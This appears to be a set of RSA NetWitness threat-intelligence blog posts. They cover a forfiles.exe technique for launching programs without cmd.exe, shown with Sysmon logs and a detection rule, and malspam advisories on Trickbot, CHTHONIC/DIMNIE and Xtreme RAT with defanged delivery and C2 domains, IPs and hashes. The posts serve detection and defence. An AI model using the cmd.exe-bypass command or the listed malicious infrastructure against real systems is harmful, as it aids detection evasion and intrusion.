Looks to be an alternative to cmd.exe for launching programs, tested the example provided above on a test win7 machine to get logs from the endpoint via NetWitness Endpoint (NWEP) and Sysmon to see what they look like.


Example code:

forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe


Doesn't appear the cmd.exe is leveraged anywhere, so if you were looking for suspicious cmd.exe executions then this would bypass that detection potentially.


What does it look like with Sysmon or NWEP tracking data in RSA NetWitness logs?


Sysmon Detection setup according to the post referenced here:

Log - Sysmon 6 Windows Event Collection 

%NICWIN-4-Microsoft-Windows-Sysmon/Operational_1_Microsoft-Windows-Sysmon: Microsoft-Windows-Sysmon/Operational,rn=525656 cid=1640 eid=1876,Sun Aug 13 23:03:44 2017,1,Microsoft-Windows-Sysmon,DC\SYSTEM,,win7.domain.local,Process Create (rule: ProcessCreate),,Process Create: UtcTime: 2017-08-13 23:03:44.099 ProcessGuid: {2B86A809-DAD0-5990-0000-0010CE3A9E02} ProcessId: 3780 Image: C:\Windows\System32\forfiles.exe CommandLine: "C:\Windows\system32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c calc.exe CurrentDirectory: C:\Windows\system32\ User: domain.local\windows_user1 LogonGuid: {2B86A809-DAA8-5990-0000-0020F0D19502} LogonId: 0x295d1f0 TerminalSessionId: 1 IntegrityLevel: Medium Hashes: MD5=2C6E78F7DF5EF1C4CCD49522EC6C018E,IMPHASH=39024B11F005CE66A5F62B758D79AE16 ParentProcessGuid: {2B86A809-DAAD-5990-0000-001006F39502} ParentProcessId: 3816 ParentImage: C:\Windows\explorer.exe ParentCommandLine: C:\Windows\Explorer.EXE


NetWitness Endpoint tracking according to the post referenced here:… 

Note there are three logs for tracking data

1 - openprocess from the run command window in the start menu (explorer.exe)

2 - runprocess command window in the start menu (explorer.exe)

3 - createprocess forfiles.exe execution


%nwe_tracking: 79420||2017-08-13 23:03:44.3490422||00:50:56:B3:44:38||||WIN7||c:\windows\||explorer.exe||c:\windows\explorer.exe||D5BC504277172BE5C54B60AD5C13209DC1F729131DEF084DE3EC8C72E54C58EF||||OpenProcess||c:\windows\system32\||forfiles.exe||c:\windows\system32\forfiles.exe||forfiles.exe /p c:\windows\system32 /m notepad.exe /c calc.exe||BF9610913C1CE2A06B277182E79A90F2FAE5C0A449125818D9F221819529DD68


%nwe_tracking: 79422||2017-08-13 23:03:44.0994422||00:50:56:B3:44:38||||WIN7||c:\windows\||explorer.exe||c:\windows\explorer.exe||D5BC504277172BE5C54B60AD5C13209DC1F729131DEF084DE3EC8C72E54C58EF||||CreateProcess||c:\windows\system32\||forfiles.exe||c:\windows\system32\forfiles.exe||forfiles.exe /p c:\windows\system32 /m notepad.exe /c calc.exe||BF9610913C1CE2A06B277182E79A90F2FAE5C0A449125818D9F221819529DD68


%nwe_tracking: 79423||2017-08-13 23:03:44.3802422||00:50:56:B3:44:38||||WIN7||c:\windows\system32\||forfiles.exe||c:\windows\system32\forfiles.exe||BF9610913C1CE2A06B277182E79A90F2FAE5C0A449125818D9F221819529DD68||forfiles.exe /p c:\windows\system32 /m notepad.exe /c calc.exe||CreateProcess||c:\windows\system32\||calc.exe||c:\windows\system32\calc.exe||calc.exe ||C6A91CBA00BF87CDB064C49ADAAC82255CBEC6FDD48FD21F9B3B96ABF019916B


Here is what the meta looks like:



If you were looking for an application rule to detect this you could do something like this:

name=p2_forfiles_cmd_alternative rule="analysis.session='endpoint-event-include' && filename='forfiles.exe'" alert=analysis.session type=application

In first week of August 2017, malspam activity was observed delivering the Trickbot banking trojan, which has been heavily active this summer and has now once again evolved.


Beginning in 2011, Trickbot actors began targeting banks from countries like UK and India, but it has since expanded its range of countries and victims to include PayPal and Customer Relationship Management (CRM) providers. Trickbot has also consistently evolved, recently adding new evasion techniques, browser manipulation tools, modules targeting Microsoft Outlook data, and now worm functionality. 


Primary delivery of the malware has been attributed to the Necurs botnet and also sometimes RIG exploit kit. In the case of this most recent delivery, malspam delivered a MS Word document (File name: SecureMessage.doc) that contains embedded and obfuscated macros recorded in VBA along with a Santander bank decoy.



This document contains malicious VBA code and What's This File gives it a maximum threat score. The VBA code analysis shows main indicators as “VBA Code Contains Reference to Code Execution” and “VBA Code Contains Auto-Launch Scripts”.




As visible below, the cleansed VBA code contained within the document uses Shell to launch an executable.




Use of Chr in VBA code suggests possible obfuscation of specific strings:



Upon opening, the attachment attempts to download a PNG file (Filename: nologo.png) that is actually an executable and the TRICKBOT payload.  The first attempt to download our PNG file from lexpertpret[.]com  actually failed, but a second attempt out to hvsglobal[.]co[.]uk was successful in downloading and then saving to 'C:\Users\student\AppData\Local\Temp\ywbltmn.exe'.



NetWitness provides visibility and characterizes this activity as malicious into this through some of the more obvious meta tags, such as session.analysis = “first carve not dns”, service.analysis = “http no referer”, and file.analysis = “exe filetype but not exe extension”.




NetWitness Endpoint (aka ECAT) also easily detects this shady behavior.  For more details, please refer to FirstWatch's July 2017 work against Trickbot.


The malware’s configuration file carries Command and Control (C2) information as well as other module related settings.  In this case, version is 1000030, the group tag is ser801 and systeminfo & injectDll are the two modules the executable will attempt to download from any of the listed C2. 



Most of these C2 IPs are known to be associated with devices like Routers and IP Cameras [3].  For example, 84[.]238[.]198[.]166 from our config file appears to be a Router.



This version (1000029) of Trickbot also debuts worm-like capabilities to spread infections via the Eternal Blue exploit of CVE-2017-0144 in Server Message Block (SMB) protocol.   To do so, the malware attempts to get servers using NetServerEnum Windows API and then query LDAP to identify computers that are not domain controllers [1].  It is believed that these capabilities are in a testing phase and not yet fully implemented.


Image Source:


With regard to evasion, this new Trickbot codebase also demonstrates new capabilities [4].  Recent Trickbot versions contain blacklist checks for a variety of Defense/Research oriented DLLS, Processes, Filenames, Usernames, Window Names, and also checks if a Debugger is present.  On any positive hit, Trickbot exits and uninstall itself. 




Image Source:


The version 1000030 is also known to have two extra modules then previous versions of Trickbot [2]:

1. module.dll – Written in C++ and it steals information from browsers

2. outlook.dll – Written in Delphi and it steals Microsoft Outlook Data

Presence of Delphi can be assumed by analyzing the dropped EXE file through hybrid analysis:



Post infection, Trickbot uses both “Static Injection” (replace real bank login pages with rogue ones) and “Dynamic Injection” (redirect browsers to C2) to steal victim credentials.  Below is an example of a legitmate (left) and rogue page (right), where a Chrome icon indicates some elements in the page are not from secure sources [5]:



Trickbot banking trojan and the group responsible need to be studied with some periodicity, because this successor of Dyre has proven to be capable and ever evolving.  All relevant IOCs have been added to the FirstWatch C2 Domains and IPs feeds as available in RSA Live.


Thanks to Kevin Stear and Erik Heuser  for their contribution.















A targeted phishing campaign was active in early August 2017 delivering "Подписать документы.doc" (translates to "Sign Documents.doc"), a MS Word document with an embedded macro responsible for dropping both the CHTHONIC banking trojan and DIMNIE spyware to an infected machine. CHTHONIC was discovered in 2014 by Kaspersky security researchers and is considered to be an evolution of ZeusVM malware.  DIMNIE is a modular information stealer profiled earlier this year by security researchers at PaloAlto's Unit 42, who found the malware in targeted phishing attacks against open-source developers.




Preliminary investigation of VirusTotal submissions provides some potential insight into the possible targets.  In addition to the prevalence of 'RU' country codes, FirstWatch has moderate-to-high confidence that this campaign targeted Russian government and heavy industry (steel in particular).




Submitting the "Подписать документы.doc" delivery document to RSA's pre-release What’s This File service results in a maximum threat score and also provides details as to the embedded VBA code.




Although most of the VBA scripting is obfuscated, the readable strings suggest that the code is writing data to local files, and using cmd.exe and wscript.exe.  This activity executes in the background as the user is distracted with the below fake error message.



Upon running the malicious macro, the process tree below depicts the dropping and execution of '3ce8.exe' (SHA256: 7e0712cbc8d75d2d5bd00e689fc69a03a9b7799cba125a88d6bae728cd24b647), a CHTHONIC variant.  





Observed post infection traffic generated from this executable appears similar to the traffic to other recent CHTHONIC deliveries as documented in recent RELST campaign activity



NetWitness Packets tagged this session with different meta keys indicating a highly suspicious outbound network traffic:



NetWitness Endpoint (aka ECAT) agent shows the following tracking data and module Instant IOC’s for '3ce8.exe'. 



ECAT also reveals a second payload from our CHTHONIC variant, '3ce8.exe', which drops a new DLL (SHA256: 350fba7fe181a9a4bbbbffabb6442e32456a9b5fc486d3086d55c19fd91db31) and starts a new service using the dropped file to initiate network connections, before finally deleting itself.



While the name of this observed DLL appears to vary from one infected machine to another, this secondary payload is DIMNIE spyware, and closely matches the description as documented in the aforementioned Unit 42 report.  In the network traffic below, we observed DNS lookups for C2 domains (spoilerultimate[.]pw, babslarbab[.]host, and babsmarbab[.]top), who's IP addresses are then used to "route" (not really) HTTP proxy requests to legitimate google domains, specifically toolbarqueries[.]google[.]com and gmail[.]com.  As thoroughly described in the Unit 42 report, outbound traffic to these two domains appears to be encrypted (AES 256 in ECB mode) C2 and data exfiltration respectively.






While attribution for this campaign remains undetermined, there are several potential nation-state candidates that seem logical given the recent course of political and cyber events in the region.


Thanks to Ahmed Sonbol (who did the bulk of this work!) and Kent Backman for their assistance with this analysis and investigation.



This report shows the metakeys that have reached their "valueMax" setting in the index of the Concentrators or Archivers.  The purpose of this report is to show which metakeys you need to increase their "valueMax" setting to accommodate all the unique values that it will receive within its index slice. Read more about the "valueMax" in the RSA Link Posting Core DB: Index Customization .


Use Case

This report ran daily can catch the "ValueMax Has Been Reached" condition in the last 24 hours.  This report also can give you the times when the metakey had reached this condition.  The example below demonstrates how the "ValueMax" reached issue looks when you encounter it.

Example Scenario

You are working on an investigation and you need to find a particular host "somejunkhost" in the metakey.  You start out with your Investigation window, set your date range for one month, and open the metakey "Hostname alias" (  You locate the "somejunkhost" in the Investigation window and you see something like this:


   host7 (418000) - host4 (50500) - host5 (30567) - somejunkhost (2052) - host1 (1400) - host17 (100)


You click on the "somejunkhost" name (Blue Text) to narrow your query and then you see something like this:


   somejunkhost (1895)   <---Notice the number is no longer 2052 as it should be?


When the session numbers (in green) do not maintain consistency when drilling into the metakey value (blue), this is an indication that the "ValueMax" has been reached.  The 1 month query has spanned multiple index slices and one or more of those slices does not have the information for "somejunkhost" in the metakey.  The information is in the metadb but not in the index.  To access the information you can use another metakey, like ip.src/ip.dst or something that is directly associated with the hostname.  Accessing or pivoting from those keys will make the values visible like a metakey that has been indexed with a "indexkeys" setting.



This report requires the RSA Netwitness Suite Log Parser 2.3.99 



  1. Download the attached zip file.
  2. Follow the directions in the Article Reporting: Import Reports and Report Groups 
  3. Select the zip file when prompted, there is no need to unzip the file prior to importing the Report file.


Report Contents

   1 Report List used to exclude metakeys that you do not care about reaching the "ValueMax" setting

   1 Report showing a Summary, Detailed, and a Device tabular list in the report.

   3 Report Rules

These items will be imported into a Group called "Netwitness Suite" in the Report Engine.


Malspam activity was noted on August 1st 2017 delivering an Xtreme RAT variant. Xtreme RAT is a publicly available remote access tool that has been around for few years and has been used by threat actors in cybercrime as well as targeted attacks. In this threat advisory we will discuss its network and host behavior from the perspective of RSA NetWitness Packets and RSA NetWitness Endpoint.


The delivery document documentos.doc looks to be targeting Spanish-speaking users. It uses social engineering to trick a victim into running the malicious embedded macro:



Submitting the delivery document to RSA pre-release What's This File service shows a maximum threat score:



What's This File service shows embedded VBA code to download an executable from a delivery domain and to save it to a local file on the system:



Here is a screenshot of the download session from NetWitness Packets:




VirusTotal scan results suggest it is an Xtreme RAT variant. Here is the analysis report from


NetWitness Packets tagged the download session with the following meta values:



NetWitness Endpoint scan data of an infected host is below:



WINWORD.exe creates a new process wtphjgf.exe using the downloaded PE file. The new process copies itself to new locations on the infected system, modifies the registry to gain persistency then starts svchost.exe and injects code in it. The following screenshots from NetWitness Endpoint show the host behavior as well as the module IIOC's for wtphjgf.exe:





NetWitness Endpoint also shows a suspicious network connection initiated by the newly created svchost.exe to a dynamic DNS domain:



The network activity is captured by NetWitness Packets:


NetWitness Packets tagged the outbound HTTP sessions with the following meta values indicating highly suspicious traffic:



Xtreme RAT delivery document (SHA256):

  • e925f362b8f17c6252d6b4c8c7e4a47d41b01b589ab9f30649123ae626086668

Xtreme RAT variant (SHA256):

  • ef551697664f508d9705e108710e6421abb00bf5c5fe658a68dcf05c68ed3ecf


All the IOC from those HTTP sessions were added to FirstWatch Command and Control feed on Live with the following meta:

  • For download domain:

    threat.source = 'rsa-firstwatch'
    threat.category = 'malspam'
    threat.description = 'delivery-domain'

  • For Command and Control domain:

    threat.source = 'rsa-firstwatch'
    threat.category = 'cnc'
    threat.description = 'c2-domain'


Further reading:

Filter Blog

By date: By tag: